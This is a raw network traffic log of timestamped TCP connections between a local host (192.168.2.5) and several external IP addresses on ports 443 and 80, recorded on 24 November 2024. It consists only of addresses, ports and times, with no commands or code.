Nov 24, 2024 04:23:41.952227116 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.952285051 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.954693079 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.954706907 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.958887100 CET	80	49931	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:41.959003925 CET	49931	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:42.141467094 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.141550064 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.145478010 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.145536900 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.145824909 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.146092892 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.155153036 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.155193090 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.158607960 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.158632040 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.190220118 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.190316916 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.191149950 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.205790043 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.205817938 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.230181932 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.233380079 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.233444929 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.241671085 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:42.273500919 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:42.273555040 CET	443	49945	35.190.72.216	192.168.2.5
Nov 24, 2024 04:23:42.276710033 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:42.285528898 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:42.285563946 CET	443	49945	35.190.72.216	192.168.2.5
Nov 24, 2024 04:23:42.288645983 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:42.288690090 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.288738012 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:42.288754940 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.355501890 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.399244070 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.399276018 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.400403976 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.412125111 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.416203976 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.441081047 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.441236973 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.441262007 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.441272974 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.445103884 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.457133055 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.462368011 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.470462084 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:42.470499039 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.470649004 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:42.478261948 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.478408098 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.478451014 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.478523970 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.478542089 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.479685068 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.487184048 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.501632929 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:42.501655102 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:42.503791094 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.503946066 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.519345999 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.574333906 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.574356079 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.574860096 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.575079918 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.575098991 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.610342979 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.610352039 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.685408115 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.685437918 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:42.807415962 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:42.884740114 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.097980022 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.104844093 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.104866028 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.105251074 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.105257034 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.142832041 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.153465033 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.153495073 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.153892040 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.153908014 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.154690027 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.163330078 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.165920973 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.179138899 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.180430889 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.180535078 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.180603981 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.223340988 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.391334057 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.402827024 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.412146091 CET	49949	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.412254095 CET	443	49949	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.412272930 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.412440062 CET	49949	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.432043076 CET	49949	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.432075977 CET	443	49949	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.455331087 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.474296093 CET	49931	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:43.476022959 CET	49950	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:43.531847954 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.532030106 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.539351940 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.544395924 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.544395924 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.582077026 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.582077026 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.582103014 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.582115889 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.585843086 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.585946083 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.589422941 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.593992949 CET	80	49931	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:43.594321012 CET	49931	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:43.595542908 CET	80	49950	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:43.595613003 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.595645905 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.596129894 CET	443	49945	35.190.72.216	192.168.2.5
Nov 24, 2024 04:23:43.597717047 CET	49950	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:43.598683119 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:43.599409103 CET	49950	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:43.607239008 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:43.607265949 CET	443	49945	35.190.72.216	192.168.2.5
Nov 24, 2024 04:23:43.607377052 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:43.607506037 CET	443	49945	35.190.72.216	192.168.2.5
Nov 24, 2024 04:23:43.611052990 CET	49945	443	192.168.2.5	35.190.72.216
Nov 24, 2024 04:23:43.658154011 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.666794062 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.666821957 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.667217970 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.667227030 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.670275927 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.678457975 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.678478956 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.678843021 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.678848982 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.718880892 CET	80	49950	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:43.789005995 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.790237904 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.790280104 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.790666103 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:43.790676117 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:43.826317072 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.830339909 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.833694935 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.833718061 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.842053890 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.842097998 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.842120886 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.846946001 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.847003937 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.847451925 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.847790956 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.847827911 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.851651907 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.851794958 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.851809978 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.864310026 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.865082026 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.865109921 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.872325897 CET	49952	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.872379065 CET	443	49952	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.872478962 CET	49953	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.872525930 CET	443	49953	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.873434067 CET	49952	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.873719931 CET	49952	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.873747110 CET	443	49952	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.873763084 CET	49953	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.874721050 CET	49953	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.874742031 CET	443	49953	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.878104925 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.879256964 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.879276037 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.891690016 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.892636061 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.892654896 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.899266958 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.899389982 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.899569035 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.900996923 CET	49949	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.901087999 CET	49952	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.901145935 CET	49953	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.902466059 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.902484894 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.903119087 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.903141022 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.903323889 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.903353930 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.903892994 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.903950930 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.904100895 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.904113054 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.904201031 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.904213905 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.943325996 CET	443	49949	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.943331957 CET	443	49952	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.947328091 CET	443	49953	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:43.949961901 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.950026035 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.950059891 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.958314896 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:43.959544897 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:43.959578991 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.021493912 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.022747993 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.029829025 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.034065008 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.034101963 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.034138918 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.038824081 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.038835049 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.051104069 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.051172972 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.051182985 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.064786911 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.066266060 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.066279888 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.077114105 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.077173948 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.077183962 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.090687037 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.091614008 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.091655970 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.101437092 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.101457119 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.101528883 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.101543903 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.101742983 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.101742983 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.101758957 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.101905107 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.101933956 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.102351904 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.104312897 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.104351044 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.104682922 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.105321884 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.105321884 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.105346918 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.105663061 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.105674028 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.105930090 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.109090090 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.109160900 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.109333992 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.109893084 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.109905005 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.109915972 CET	49944	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.109920025 CET	443	49944	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.112483025 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.112524986 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.113110065 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.113265991 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.113276005 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.117944956 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.118221045 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.118231058 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.130678892 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.130724907 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.130736113 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.142555952 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.145893097 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.145903111 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.154350042 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.159526110 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.159537077 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.166217089 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.167574883 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.167584896 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.178046942 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.179075956 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.179085970 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.202936888 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.205198050 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.205223083 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.213450909 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.213537931 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.214730978 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.215387106 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.215401888 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.221376896 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.227150917 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.227160931 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.229314089 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.230283022 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.230293036 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.237581968 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.237838030 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.237847090 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.247410059 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.247689009 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.247697115 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.247745991 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.247760057 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.248131990 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.248136044 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.249577999 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.249630928 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.252569914 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.252670050 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.253974915 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.255038023 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.255038977 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.255047083 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.255805969 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.255836964 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.255855083 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.255862951 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.259596109 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.261348009 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.261373043 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.267119884 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.270082951 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.270093918 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.274769068 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.276346922 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.276355982 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.280113935 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.280152082 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.280714035 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.283680916 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.287003040 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.287013054 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.292134047 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.292367935 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.292376995 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.300589085 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.300616026 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.304840088 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.306654930 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.306833029 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.307533979 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.307548046 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.312500000 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:44.312526941 CET	443	49965	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:44.312670946 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.313894987 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:44.313945055 CET	443	49966	172.217.19.206	192.168.2.5
